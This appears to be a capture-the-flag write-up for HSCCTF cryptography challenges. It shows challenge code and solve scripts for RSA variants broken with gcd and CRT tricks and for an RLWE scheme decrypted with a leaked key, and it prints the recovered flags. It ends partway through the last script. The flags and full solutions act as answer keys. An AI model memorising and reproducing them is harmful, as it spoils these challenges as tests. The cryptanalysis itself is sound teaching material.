n, g1, g2= [20807018344486474639307429177279931766730766338068107239915507489300098048895435781756514265069820029246382818970733268271541419058569567895618666922180270584064313671561310704041755422624879418184008100473568396190523033929320245716340019444764233261191278982354931492880877566550189410854395486995604287009460090861952156686772486228583819235930673806632618770875593810617784176409247510465542253043645164164225524491704753384493817563203956665022724674535516870726747405974392352500432805602085261375142216501656342533659731098891481615791354504343987459436489040377662127479793769523359343534307819013289699807101, 13669954919111873554762685722926885077118528999414402163291237939605095249827361266585404348819936899557500751307328088850133462100189908649705354225171362748567332828733792410877365393472368767642223613483944864421225366984013053159643284842823692865975521013400160643858123645513020647367033022539177063702511618272018019345686324322865461583030805528508961559861228807898458344763909703624723082316946660539208262816734999777236686904487167545596412866146192769859422435979617441355968077981338491466670291310491623996943880557071723073298267310617017933994938481600905833829730599911183096116409487608858717083764, 16004755272896973088305242134835363565950101667041191767091338528075710730690484241256646402124331734165332717221873300040844257120250717798419429003342474882969292183331631773486056363790119500409511338474885148624744719334829519138941747721940978742668429331169327121848561577357339194970483392418062307133642660625962426570987080348107999849220769541832138719358407833846252908305766546561532003650472770370573552424932908544299331489147220956574184822433945571318688467182365231955276573176433559755313822566687880866791301904461559170416753669109833335824210853322226762705537051009387847122221014380228383127427]

p = gcd(g1-1,n)
q = gcd(g2-1,n)
print(p*q==n)

m = crt([c1%p,c2%q],[p,q])
print(bytes.fromhex(hex(m)[2:]))

b'HSCCTF{Any_restr1ct1ons_all_begins_with_his_own_heart}'

MIXED

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import libnum
from flag import flag
from Crypto.Util.number import *

m = libnum.s2n(flag)
e = 65537
q = getPrime(1024)
q1 = getPrime(1024)
p = getPrime(1024)
p1 = getPrime(1024)
n = p * q
n1 = q * p1
n2 = p * q1
c = pow(m, e, n)
h0 = pow(2023 * p + 2024, q1, n2)
h1 = pow(2024 * p1 + 2023 * q, 114, n1)
h2 = pow(2023 * p1 + 2024 * q, 514, n1)

print(f'n1 = {n1}')
print(f'n2 = {n2}')
print(f'c = {c}')
print(f"h0 = {h0}")
print(f"h1 = {h1}")
print(f"h2 = {h2}")

# n1 = 14689930167621480307737218855980844793204825453111553640005733004311399091452749419195261723160562669712981077205514482387428543859060408330555457873612388970840075555219318724209919379670375754436986322725018229701175825510253987615017542205904982728558285520666278391637251512741084978804344612886660251741043298476839942441197788722691248949008018299101517153067904692310160459839327965213126456776042470327923603098133019640956702820908299859534676381094974148722668171932091455546601087513513432342088579253210930555185169910878657816252698605590059713584044287411998445279104965229112287195772355914014694372863
# n2 = 17914624231045471060767877283214815212078805279600237578901916178851704643026979522270658635212967285131654546207286875722198040564094351690066028556053274118826426726436922152056884333790850220488793722836758989770231697392015361745717234225528175411653330848965062023338707342188196332661335758350340958332400847642883219650661408895191363079017750144776587598058350920393498114498603046807597288603882782473322630631915467470131090200369527436760313289344813744004003957932606166823948354564464154141854938585629799995141656546295799610158824771809513458197812936595649326475123400845178122171317543843802357238737
# c = 13183645788828584902734975771833842634134772971197066374278716198331982362845597338541987579827576129126962300555023319276896080171662261983323670516457816608069076576704379871559881585100353737989915143190277856145677733747073530969459479608854483866886381406790221076900624083605418670450439523062190633487764982399334967431524831264337949814367905185282600511829794170139623625545288981992093108619556180352620171550284923452864402624195790781899415138548827684042790774382313520961335293225295922563245148598807498320652973409239921962292395269739151692443069186695137458774227330748775469621908962878548784542656
# h0 = 5690435858632801053001568276569200811072324786394351282330736437777643891675713760267573500875018036769819201228707494676033534733516436880434000381152290529934127584047681184797730806321117079578438213106595566102910231831641994870770844810797745935336962801658360541755214075101149142486964461669833043007174173934693214526552375910644574723526164021660497474760514459351270699055076380763188021265735007339272243426286470006040246926184305520860068095134003662496837644875879106318233600478000160450338727054920011063536387532763661934972965357326471012678550188382945584128136131833085006239075931753900705852481
# h1 = 12771704142231361356944931328203992824809472923288035056741145310446323135378739806430357600688780862532180394967607429708811767590541126019805423171023560973250443508427614362854583240402451944730512334908779225174763498122005198084487562912524477476241978066554026569609494641830034817298185887790987627444544391680388213205514284116732325350187204519755399841372144149840914651521842402817701298224803289451378581226204084757079457612984358925767378458994608562174048729806309230061089552045138514542758457243626150673888166620841134063713151240297774551489301504222933127458884374866611598279831562420720169790688
# h2 = 10768269134499905916388929049595509895751098112372323618798542159569174051578701710549609054808995774168931375186213550074900373023970882450822655786787740452681278837907191091338575561570211280095894576674089666981683405385847773819238581725093823429776684561667462626941518248024517707992035438082636259838822562843169441572048956484831730615047363383911454662789736761572912893234212875097536978423758275178050708616505311352511923810654873380808201395656416903900326634569672173228265730515727327832588326581592485713225927319225942965110285477266200380452637746037672411388696006933080509164615786616058664496851

参考 东华杯 - fermat’s revengeGKCTF 2021 - RRRRsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
n1 = 14689930167621480307737218855980844793204825453111553640005733004311399091452749419195261723160562669712981077205514482387428543859060408330555457873612388970840075555219318724209919379670375754436986322725018229701175825510253987615017542205904982728558285520666278391637251512741084978804344612886660251741043298476839942441197788722691248949008018299101517153067904692310160459839327965213126456776042470327923603098133019640956702820908299859534676381094974148722668171932091455546601087513513432342088579253210930555185169910878657816252698605590059713584044287411998445279104965229112287195772355914014694372863
n2 = 17914624231045471060767877283214815212078805279600237578901916178851704643026979522270658635212967285131654546207286875722198040564094351690066028556053274118826426726436922152056884333790850220488793722836758989770231697392015361745717234225528175411653330848965062023338707342188196332661335758350340958332400847642883219650661408895191363079017750144776587598058350920393498114498603046807597288603882782473322630631915467470131090200369527436760313289344813744004003957932606166823948354564464154141854938585629799995141656546295799610158824771809513458197812936595649326475123400845178122171317543843802357238737
c = 13183645788828584902734975771833842634134772971197066374278716198331982362845597338541987579827576129126962300555023319276896080171662261983323670516457816608069076576704379871559881585100353737989915143190277856145677733747073530969459479608854483866886381406790221076900624083605418670450439523062190633487764982399334967431524831264337949814367905185282600511829794170139623625545288981992093108619556180352620171550284923452864402624195790781899415138548827684042790774382313520961335293225295922563245148598807498320652973409239921962292395269739151692443069186695137458774227330748775469621908962878548784542656
h0 = 5690435858632801053001568276569200811072324786394351282330736437777643891675713760267573500875018036769819201228707494676033534733516436880434000381152290529934127584047681184797730806321117079578438213106595566102910231831641994870770844810797745935336962801658360541755214075101149142486964461669833043007174173934693214526552375910644574723526164021660497474760514459351270699055076380763188021265735007339272243426286470006040246926184305520860068095134003662496837644875879106318233600478000160450338727054920011063536387532763661934972965357326471012678550188382945584128136131833085006239075931753900705852481
h1 = 12771704142231361356944931328203992824809472923288035056741145310446323135378739806430357600688780862532180394967607429708811767590541126019805423171023560973250443508427614362854583240402451944730512334908779225174763498122005198084487562912524477476241978066554026569609494641830034817298185887790987627444544391680388213205514284116732325350187204519755399841372144149840914651521842402817701298224803289451378581226204084757079457612984358925767378458994608562174048729806309230061089552045138514542758457243626150673888166620841134063713151240297774551489301504222933127458884374866611598279831562420720169790688
h2 = 10768269134499905916388929049595509895751098112372323618798542159569174051578701710549609054808995774168931375186213550074900373023970882450822655786787740452681278837907191091338575561570211280095894576674089666981683405385847773819238581725093823429776684561667462626941518248024517707992035438082636259838822562843169441572048956484831730615047363383911454662789736761572912893234212875097536978423758275178050708616505311352511923810654873380808201395656416903900326634569672173228265730515727327832588326581592485713225927319225942965110285477266200380452637746037672411388696006933080509164615786616058664496851
e = 65537

h1x = pow(h1 * pow(2023,114,n1),514,n1)
h2x = pow(h2 * pow(2024,514,n1),114,n1)
q = gcd(h2x-h1x,n1)
print(q)

kp = h0-pow(2024,n2,n2)
p = gcd(n2,kp)
print(p)

f = (p-1)*(q-1)
d = inverse_mod(e,f)
m = pow(c,d,p*q)
print(bytes.fromhex(hex(m)[2:]))

#b'hscctf{35d7ecc2-6216-4f09-b052-3de921f170b6}'

YOUQU

出题人很有趣,给你函数了直接解吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import numpy as np
from numpy.polynomial import polynomial as poly
from Crypto.Util.number import *

def mul(x, y, z, mod):
init_poly = poly.polymul(x, y)
res_poly = poly.polydiv(init_poly % z, mod)[1] % z
return np.int64(np.round(res_poly))

def add(x, y, z, mod):
init_poly = poly.polyadd(x, y)
res_poly = poly.polydiv(init_poly % z, mod)[1] % z
return np.int64(np.round(res_poly))

def q2(lenth1):
return np.random.randint(0, 2, lenth1, dtype=np.int64)

def qz(z, lenth1):
return np.random.randint(0, z, lenth1, dtype=np.int64)

def guess(lenth1):
return np.int64(np.random.normal(0, 2, size=lenth1))

def jlkey(lenth1, z, mod):
s = q2(lenth1)
g = qz(z, lenth1)
e1 = guess(lenth1)
t = add(mul(g, s, z, mod), e1, z, mod)
key = [g, t, s]
return key

def jl(key, length1, n, p, mod, msg):
jlm = []
mm = hex(msg)[2:]
for i in range(0, len(mm)):
jlm.append(ord(mm[i]))

m = np.array(jlm + [0] * (length1 - len(jlm)), dtype=np.int64) % p
d = n // p
dm = d * m % n
e2 = guess(length1)
e3 = guess(length1)
r = q2(length1)
g = key[0]
t = key[1]
w = add(add(mul(t, r, n, mod), e2, n, mod), dm, n, mod)
v = add(mul(g, r, n, mod), e3, n, mod)
c = [w, v]
return c

o = 128
n = 2 ** 62
p = 2 ** 32
mod = np.array([1] + [0] * (o - 1) + [1])
key = jlkey(o, n, mod)
flag = 'HSCCTF{fakeflag_xin_nian_kuai_le}'
m = bytes_to_long(flag.encode())
c = jl(key, o, n, p, mod, m)
print("w =", c[0].tolist())
print("v =", c[1].tolist())
print("g =", key[0].tolist())
print("t =", key[1].tolist())
print("s =", key[1].tolist())
'''
w = [4456121292753321984, 2695388220323384832, 1125798304404134912, 1389165333028469760, 3720515311443086336, 1806160162087117824, 1710165564223285248, 3854525633894178816, 4160032803226148864, 3223993978734964736, 188029029972998144, 2283288149728718848, 178098730553155584, 400166020473782272, 4426677526375129088, 1768526165797007360, 4596103848246980608, 3143341953117548544, 4113813229295153152, 1444787342796136448, 1749143783191330816, 601663717837410304, 1976180375223943168, 899486064067571712, 2467702122158211072, 1442313048691163136, 2977506408218411008, 1106991111199326208, 844904722420957184, 1013497211561496576, 4250614525386129408, 1677797764964532224, 4212901529405988864, 2561734724771299328, 1890807629146202112, 951039123411230720, 881428262835757056, 514344970914586624, 3072465238399721472, 1294633561516974080, 4471068621313253376, 2978038764905480192, 1256294011046658048, 2885789906784919552, 1808546586690191360, 3846883621647482880, 422980376119787520, 3401510714240147456, 3024926897503240192, 3504641379026477056, 2686993749796929536, 4084804987293286400, 1949654215988994048, 2949577339713200128, 2514172581835300864, 614361226066452480, 1560522408220647424, 1215782736092413952, 1705607337158410240, 3789095360729792512, 126768310879952896, 3564560282876477440, 4112635401656336384, 488963213586022400, 3263989278014881792, 1190526290525741056, 3726804923972673536, 2773020963465314304, 2008550394681090048, 2877753734522249216, 3318721688589254656, 2685195110085615616, 2120287225013829632, 2837075008393977856, 680647261446750208, 2672034759831756800, 586790221783564288, 4413791420559310848, 753748175057453056, 4156435215025135616, 1753634903657668608, 3868573500772638720, 1065381465124585472, 1951729611177713664, 833463289401663488, 3083559584672243712, 2453364017450852352, 3187954181254758400, 2701962603281113088, 1657135743981748224, 3393942972234113024, 3224375546132267008, 1637663670848045056, 2226464092285288448, 3426678970486587392, 3746864906767974400, 892187878069846016, 1566105953383768064, 1841796609436766208, 102854404605427712, 1384852880673484800, 2187150610629812224, 3960839367218393088, 798293770690805760, 172119736121323520, 2434320282093170688, 3398926147058458624, 858963714965422080, 3371154991043334144, 1537312801335345152, 2963315646558453760, 4058550201296797696, 1544831164568528896, 4296983781331357696, 3597399236973740032, 1172234645379473408, 1811007296491237376, 1364782914640955392, 1942828798540959744, 1312644494190576640, 540671172853423104, 2521681537802540032, 3678999552996606976, 3522586936321518592, 3355286245326997504, 1724989423167225856, 2857616461138001920, 3550411157752463360]
v = [3004075223514152960, 375766571298967040, 3918175633582001664, 298998053399571840, 4539733962165100544, 3415675319003214848, 557497174827461120, 1187181217327680512, 42761045408950272, 4539692406094923776, 3474777010512353280, 807990709249906688, 4401927180657766400, 628439373724332032, 3552565694197467136, 1229559664627433472, 2735485480783970304, 340251515454152704, 535029869298274304, 1089634905489248256, 1745435675342262272, 2211405319829864448, 3166387633265565696, 3356595592575791104, 811586262403354624, 1658544963444764672, 2801381922146680832, 1906405005677551616, 2764661089781948416, 348852661152833536, 2843732326950182912, 3655220640882900992, 2735228541582770176, 984245520265568256, 847631674608009216, 4278557074339209216, 354445030770749440, 552426514839019520, 3037890003690143744, 3845527152479436800, 686613871844605952, 1987014853275738112, 129221415412514816, 884028654840045568, 893161048767537152, 4428861422755028992, 1977654893495033856, 2683055322869915648, 4466344498597339136, 2820131774980661248, 2105607478169853952, 768444766180638720, 212987987936600064, 1576117523911901184, 1650389830627762176, 1915750840791851008, 4109009172913405952, 2218053892260061184, 3863963349465956352, 2990430210085863424, 1274030477779271680, 1711547929466978304, 1157679433574768640, 156097645996949504, 3695677787747401728, 4322888783310766080, 4546024412016992256, 2655974462028947456, 1604656974594400256, 2045021548923273216, 3161689730583207936, 8339332591755263, 2341948229963612160, 3607706207127453696, 469234496887414784, 973715854261501952, 789210633607102464, 4424949506055979008, 1542517731370860544, 182468406585786368, 1807090988320792576, 1850374377172516864, 2618527682038956032, 1262867559425187840, 938222240300924928, 4591256432328728576, 2044671823654682624, 3467964150293766144, 79543117595951104, 2185630104198291456, 3728244444110430208, 156056289984327680, 4390349499275018240, 1751182369256157184, 2162985531302232064, 2761554017168584704, 2829764058526203904, 2028689816016191488, 146286463995781120, 3720834471976288256, 2917463735459491840, 4566476477728677888, 3722002688823242752, 4245856959119122432, 3425954365963665408, 3618936531494342656, 3695636186696466432, 1423352273706041344, 158921080583421952, 4351926341975711744, 3376292832678187008, 3295795181429579776, 3267875754319810560, 2363850527793784832, 888488262224822272, 1097387081646508032, 3686827109357189120, 297511993689784320, 3698586652027076608, 1126524981060736000, 1227462499250052096, 195965752955788032, 378621325977167872, 4568860371418834944, 3806982850127191040, 2330191690590402560, 965690431040995328, 2254601344237207552]
g = [1271385667288255999, 3597939031086288160, 948720385886874982, 3730034896312885091, 155961058571645646, 873298702409407364, 3695415802847080551, 3935805697420664465, 303427777773526115, 2121504102169723388, 3117842710535023914, 2004730725267082784, 315298886702225235, 711790101004272712, 3469726824196756845, 3649946521480214795, 4269586158067475466, 1607685984041888423, 1866766258134518609, 4115571819844332380, 2381299916655519619, 2208948036365614734, 1946214530009282102, 330799912617809735, 3460498231343524429, 2694359423578749492, 793704330311549271, 1491532600134534859, 1606672420502700650, 561106526228105342, 1105025457886824442, 1443932433209975334, 4240908184445005305, 1954646486670721382, 4227369777555389059, 1563814260527576306, 771217858163031033, 1280424786084049063, 303853418224126180, 181918673882271714, 2212581027220765469, 2111888312694611250, 3581354821166105988, 1429049683930421764, 1357441041735699015, 3553280165847887597, 869489768651033960, 1107714765447012644, 2910143081602408601, 1433461290183315706, 3240132019514117541, 2465292834002904411, 1334470694725903257, 3156578894981065904, 35185442949043438, 645993467993501426, 1352915688916657829, 1521946784078789166, 2639858512187877401, 4315064694485922395, 3953315792354490874, 1587769214913102261, 3912000075342935904, 1887499577531299413, 309657057763429254, 769590223035802807, 4361036733963754384, 1446528785602732156, 1205711736426995533, 3683188791797133788, 921287773622604679, 3591274357626650529, 2745859155549230842, 4491978210538609848, 2444128709624329128, 1403888264551474491, 4377727165055311964, 1507498290240201527, 2952796830041690744, 1642562262970195060, 2847743992975447391, 4164239208310834247, 1967003682977431435, 2575799088251274004, 156708464748056204, 2403917842083313594, 55721043545237639, 239916744182811448, 134638877854791156, 76687455444928683, 3051612621194354938, 4253947515818696559, 392166402534779315, 5415521347314633, 1816697745794261287, 2282876916808180261, 3667412627019328976, 4211876289328416715, 1647128252024708114, 3721877072126461741, 2297068963395433648, 398583411660274597, 3562855580894975650, 1322989240042277117, 3551729861626536144, 2816759739903316271, 2629395545611893101, 1799561289667084873, 2629410111371391637, 1398369600901640698, 447266788926484707, 405213767544537836, 3014220918160576578, 747208265285548041, 1727187447678753569, 3063564852472463780, 1502638600503176791, 3284205888928186113, 3412854446691461073, 3937011809364193960, 1208514509487198642, 3063044796627572289, 2532417142719581087, 375928502591586817, 2839325684818922862, 4472409225244809142, 1384186637673587546, 1680318030162086049]
t = [3482937270284373504, 3729542463939501056, 1354530592839269376, 2340035975483411456, 3318144666530505728, 4321971466042776576, 4107840020098758656, 2600042509314867200, 3185315495632337920, 2510425761632839680, 3758844697217568768, 1813627045100445696, 1035634427310004224, 1650895865179787264, 931858574122051584, 3821738968282525696, 751354306590687232, 812159733109825536, 1984846083975063552, 426674528748978176, 1786129270688538624, 53204613942820864, 4207648582990901248, 2441413890227052544, 4573249524143439872, 2901255116891488256, 3331287389413953536, 1594453621617430528, 7636565623463936, 3261865719383670784, 3211543945355886592, 4414864510393499648, 1781787468450406400, 4381257290165919744, 1683943310183464960, 1618102318685454336, 3082727664554508288, 1284750602156802048, 4536273674447527936, 4224428964375134208, 1990811212107251712, 220641709431201792, 56727929599156224, 1394394833783595008, 474539825790402560, 2367070412709519360, 86013256530493440, 3983263247386468352, 4488230536002330624, 1131832099054157824, 4470326732790874112, 2361104703887433728, 1850267988673478656, 519014833878171648, 2447115942472581120, 2567048274520276992, 3409815404144214016, 2569012418791473152, 2239861171203006464, 3207035079062069248, 1423032481934245888, 3660676895628648448, 3197924030326439936, 2173721402472767488, 1836499846562930688, 1193190307175825408, 2757965850888388608, 3833547905923039232, 113362523505639424, 2095507640221974528, 695818728283136000, 2746136108677742592, 80271849461956608, 544596706215608320, 857894362373431296, 1801819582386577408, 2748888436946362368, 1760827740054806528, 2544591920627023872, 4324861829346312192, 3073160513540464640, 3260750497480876032, 1268136159796920320, 2738758060057362432, 460370852221685760, 3694812482865025024, 674485732026892288, 31827325234905088, 1076067066569760768, 3538749128687951872, 4553745898606747648, 3332219178735149056, 329835532944998400, 4576690061027602432, 3023286444576161792, 1797946474203955200, 4558389623053447168, 1790588264296259584, 3017170271014150144, 991463616551034880, 1940023178234544128, 3414390445152993280, 644333657859764224, 3692106158122917888, 3167684436092710912, 789204772426006528, 4353661356398166016, 2000540208800374784, 3942168043465134080, 3332450567729246208, 2627875622523490304, 9371534919516160, 848644069081235456, 2192689498702295040, 907016265148577792, 2645935549696630784, 2590866188404383744, 3750676748846913536, 3694849270404139008, 4268369840164233216, 3556945000413347840, 1995615102316576768, 4445424004994387968, 2929133498761163776, 2462149674675616768, 741748174115656704, 39754566828455680, 4477497218304360448]
jjgqJn00BoV2m68QERWUCmah8h86UJERRsVhfzEzy9hBwi0GJ5MyEzBCQS5r0yr7GrdM5d0ptnBWLzfywakvSlRJvex1efrtHiDVNo4WQZjopk4N3RFi4D
'''

先解最后的base,base62-base32-base58-base64-base62解得 wo_shi_yhhhh_de_fen_si

用此作为密码解压得到一个 s.png,提取像素值:

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image
img = Image.open('YOUQU/s.png')
width , height = img.size
s = []
for i in range(0,width):
for j in range(0,height):
tmp = img.getpixel((i,j))
s.append(tmp)
print(s)

# s = [1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1]

加密部分是一个RLWE,定义了一个多项式商环 $F_p[x]=\cfrac{Z_p[x]}{f(x)}$,随机列表为商环上的多项式系数列表。

加密函数

$t(x) \equiv -s(x)g(x)+e_1(x) \pmod p$

$w(x) \equiv t(x)r(x)+e_2(x)+d\cdot m(x) \pmod p$

$v(x) \equiv g(x)r(x)+e_3(x) \pmod p$

已知私钥 $s(x)$,则

$w+s\cdot v=(t\cdot r+e_2+d\cdot m)+s(g\cdot r+e_3)=-s\cdot g\cdot r+e_1\cdot r+e_2+d\cdot m+s\cdot g\cdot r+s\cdot e_3=d\cdot m+(e_1\cdot r+e_2+s\cdot e_3)$

可以发现,后面的 $e\cdot r+e_2+s\cdot e_3$ 仍然是个小噪声, 有

$(w+s\cdot v) \bmod d = m$

噪声可能满足 $e_1\cdot r+e_2+s\cdot e_3<0$ ,为负值的时候,会出现 $(w+s\cdot v) \bmod d = m<1$ ,需对应处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import numpy as np
from numpy.polynomial import polynomial as poly
from Crypto.Util.number import *

def mul(x, y, z, mod):
init_poly = poly.polymul(x, y)
res_poly = poly.polydiv(init_poly % z, mod)[1] % z
return np.int64(np.round(res_poly))

def add(x, y, z, mod):
init_poly = poly.polyadd(x, y)
res_poly = poly.polydiv(init_poly % z, mod)[1] % z
return np.int64(np.round(res_poly))

def q2(lenth1):
return np.random.randint(0, 2, lenth1, dtype=np.int64)

def qz(z, lenth1):
return np.random.randint(0, z, lenth1, dtype=np.int64)

def guess(lenth1):
return np.int64(np.random.normal(0, 2, size=lenth1))

def jlkey(lenth1, z, mod):
s = q2(lenth1)
g = qz(z, lenth1)
e1 = guess(lenth1)
t = add(mul(g, s, z, mod), e1, z, mod)
key = [g, t, s]
return key

def jl(key, length1, n, p, mod, msg):
jlm = []
mm = hex(msg)[2:]
for i in range(0, len(mm)):
jlm.append(ord(mm[i]))

m = np.array(jlm + [0] * (length1 - len(jlm)), dtype=np.int64) % p
d = n // p
dm = d * m % n
e2 = guess(length1)
e3 = guess(length1)
r = q2(length1)
g = key[0]
t = key[1]
w = add(add(mul(t, r, n, mod), e2, n, mod), dm, n, mod)
v = add(mul(g, r, n, mod), e3, n, mod)
c = [w, v]
return c

o = 128
n = 2 ** 62
p = 2 ** 32
mod = np.array([1] + [0] * (o - 1) + [1])

w = [4456121292753321984, 2695388220323384832, 1125798304404134912, 1389165333028469760, 3720515311443086336, 1806160162087117824, 1710165564223285248, 3854525633894178816, 4160032803226148864, 3223993978734964736, 188029029972998144, 2283288149728718848, 178098730553155584, 400166020473782272, 4426677526375129088, 1768526165797007360, 4596103848246980608, 3143341953117548544, 4113813229295153152, 1444787342796136448, 1749143783191330816, 601663717837410304, 1976180375223943168, 899486064067571712, 2467702122158211072, 1442313048691163136, 2977506408218411008, 1106991111199326208, 844904722420957184, 1013497211561496576, 4250614525386129408, 1677797764964532224, 4212901529405988864, 2561734724771299328, 1890807629146202112, 951039123411230720, 881428262835757056, 514344970914586624, 3072465238399721472, 1294633561516974080, 4471068621313253376, 2978038764905480192, 1256294011046658048, 2885789906784919552, 1808546586690191360, 3846883621647482880, 422980376119787520, 3401510714240147456, 3024926897503240192, 3504641379026477056, 2686993749796929536, 4084804987293286400, 1949654215988994048, 2949577339713200128, 2514172581835300864, 614361226066452480, 1560522408220647424, 1215782736092413952, 1705607337158410240, 3789095360729792512, 126768310879952896, 3564560282876477440, 4112635401656336384, 488963213586022400, 3263989278014881792, 1190526290525741056, 3726804923972673536, 2773020963465314304, 2008550394681090048, 2877753734522249216, 3318721688589254656, 2685195110085615616, 2120287225013829632, 2837075008393977856, 680647261446750208, 2672034759831756800, 586790221783564288, 4413791420559310848, 753748175057453056, 4156435215025135616, 1753634903657668608, 3868573500772638720, 1065381465124585472, 1951729611177713664, 833463289401663488, 3083559584672243712, 2453364017450852352, 3187954181254758400, 2701962603281113088, 1657135743981748224, 3393942972234113024, 3224375546132267008, 1637663670848045056, 2226464092285288448, 3426678970486587392, 3746864906767974400, 892187878069846016, 1566105953383768064, 1841796609436766208, 102854404605427712, 1384852880673484800, 2187150610629812224, 3960839367218393088, 798293770690805760, 172119736121323520, 2434320282093170688, 3398926147058458624, 858963714965422080, 3371154991043334144, 1537312801335345152, 2963315646558453760, 4058550201296797696, 1544831164568528896, 4296983781331357696, 3597399236973740032, 1172234645379473408, 1811007296491237376, 1364782914640955392, 1942828798540959744, 1312644494190576640, 540671172853423104, 2521681537802540032, 3678999552996606976, 3522586936321518592, 3355286245326997504, 1724989423167225856, 2857616461138001920, 3550411157752463360]
v = [3004075223514152960, 375766571298967040, 3918175633582001664, 298998053399571840, 4539733962165100544, 3415675319003214848, 557497174827461120, 1187181217327680512, 42761045408950272, 4539692406094923776, 3474777010512353280, 807990709249906688, 4401927180657766400, 628439373724332032, 3552565694197467136, 1229559664627433472, 2735485480783970304, 340251515454152704, 535029869298274304, 1089634905489248256, 1745435675342262272, 2211405319829864448, 3166387633265565696, 3356595592575791104, 811586262403354624, 1658544963444764672, 2801381922146680832, 1906405005677551616, 2764661089781948416, 348852661152833536, 2843732326950182912, 3655220640882900992, 2735228541582770176, 984245520265568256, 847631674608009216, 4278557074339209216, 354445030770749440, 552426514839019520, 3037890003690143744, 3845527152479436800, 686613871844605952, 1987014853275738112, 129221415412514816, 884028654840045568, 893161048767537152, 4428861422755028992, 1977654893495033856, 2683055322869915648, 4466344498597339136, 2820131774980661248, 2105607478169853952, 768444766180638720, 212987987936600064, 1576117523911901184, 1650389830627762176, 1915750840791851008, 4109009172913405952, 2218053892260061184, 3863963349465956352, 2990430210085863424, 1274030477779271680, 1711547929466978304, 1157679433574768640, 156097645996949504, 3695677787747401728, 4322888783310766080, 4546024412016992256, 2655974462028947456, 1604656974594400256, 2045021548923273216, 3161689730583207936, 8339332591755263, 2341948229963612160, 3607706207127453696, 469234496887414784, 973715854261501952, 789210633607102464, 4424949506055979008, 1542517731370860544, 182468406585786368, 1807090988320792576, 1850374377172516864, 2618527682038956032, 1262867559425187840, 938222240300924928, 4591256432328728576, 2044671823654682624, 3467964150293766144, 79543117595951104, 2185630104198291456, 3728244444110430208, 156056289984327680, 4390349499275018240, 1751182369256157184, 2162985531302232064, 2761554017168584704, 2829764058526203904, 2028689816016191488, 146286463995781120, 3720834471976288256, 2917463735459491840, 4566476477728677888, 3722002688823242752, 4245856959119122432, 3425954365963665408, 3618936531494342656, 3695636186696466432, 1423352273706041344, 158921080583421952, 4351926341975711744, 3376292832678187008, 3295795181429579776, 3267875754319810560, 2363850527793784832, 888488262224822272, 1097387081646508032, 3686827109357189120, 297511993689784320, 3698586652027076608, 1126524981060736000, 1227462499250052096, 195965752955788032, 378621325977167872, 4568860371418834944, 3806982850127191040, 2330191690590402560, 965690431040995328, 2254601344237207552]
g = [1271385667288255999, 3597939031086288160, 948720385886874982, 3730034896312885091, 155961058571645646, 873298702409407364, 3695415802847080551, 3935805697420664465, 303427777773526115, 2121504102169723388, 3117842710535023914, 2004730725267082784, 315298886702225235, 711790101004272712, 3469726824196756845, 3649946521480214795, 4269586158067475466, 1607685984041888423, 1866766258134518609, 4115571819844332380, 2381299916655519619, 2208948036365614734, 1946214530009282102, 330799912617809735, 3460498231343524429, 2694359423578749492, 793704330311549271, 1491532600134534859, 1606672420502700650, 561106526228105342, 1105025457886824442, 1443932433209975334, 4240908184445005305, 1954646486670721382, 4227369777555389059, 1563814260527576306, 771217858163031033, 1280424786084049063, 303853418224126180, 181918673882271714, 2212581027220765469, 2111888312694611250, 3581354821166105988, 1429049683930421764, 1357441041735699015, 3553280165847887597, 869489768651033960, 1107714765447012644, 2910143081602408601, 1433461290183315706, 3240132019514117541, 2465292834002904411, 1334470694725903257, 3156578894981065904, 35185442949043438, 645993467993501426, 1352915688916657829, 1521946784078789166, 2639858512187877401, 4315064694485922395, 3953315792354490874, 1587769214913102261, 3912000075342935904, 1887499577531299413, 309657057763429254, 769590223035802807, 4361036733963754384, 1446528785602732156, 1205711736426995533, 3683188791797133788, 921287773622604679, 3591274357626650529, 2745859155549230842, 4491978210538609848, 2444128709624329128, 1403888264551474491, 4377727165055311964, 1507498290240201527, 2952796830041690744, 1642562262970195060, 2847743992975447391, 4164239208310834247, 1967003682977431435, 2575799088251274004, 156708464748056204, 2403917842083313594, 55721043545237639, 239916744182811448, 134638877854791156, 76687455444928683, 3051612621194354938, 4253947515818696559, 392166402534779315, 5415521347314633, 1816697745794261287, 2282876916808180261, 3667412627019328976, 4211876289328416715, 1647128252024708114, 3721877072126461741, 2297068963395433648, 398583411660274597, 3562855580894975650, 1322989240042277117, 3551729861626536144, 2816759739903316271, 2629395545611893101, 1799561289667084873, 2629410111371391637, 1398369600901640698, 447266788926484707, 405213767544537836, 3014220918160576578, 747208265285548041, 1727187447678753569, 3063564852472463780, 1502638600503176791, 3284205888928186113, 3412854446691461073, 3937011809364193960, 1208514509487198642, 3063044796627572289, 2532417142719581087, 375928502591586817, 2839325684818922862, 4472409225244809142, 1384186637673587546, 1680318030162086049]
